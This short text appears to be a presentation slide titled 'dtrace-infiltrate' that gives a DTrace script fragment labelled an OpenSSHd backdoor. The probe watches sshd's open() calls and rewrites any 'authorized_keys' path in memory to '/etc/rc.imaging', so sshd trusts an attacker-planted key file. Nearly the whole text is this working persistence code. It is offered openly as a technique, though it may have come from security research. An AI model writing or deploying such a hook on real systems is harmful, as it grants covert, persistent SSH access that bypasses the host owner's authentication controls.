dtrace-infiltrate

OpenSSHd Backdoor
gotpass=1 enables probes in fstat64/open and read.
Open probe begins the process, checking for
“authorized_keys” filename.
syscall::open*:entry
/(gotpass == 1) && execname == "sshd" &&
(strstr(copyinstr(arg0,200),"authorized_keys") != 0)/
{
printf("[+] sshd open: %s\n",copyinstr(arg0,200));
printf("[+] replacing with \"/etc/rc.imaging\".\n");
copyoutstr("/etc/rc.imaging",arg0,strlen(copyinstr(arg0,200)));
self->authkey = 1;
printf("[+] This is pid: %u\n",pid);
}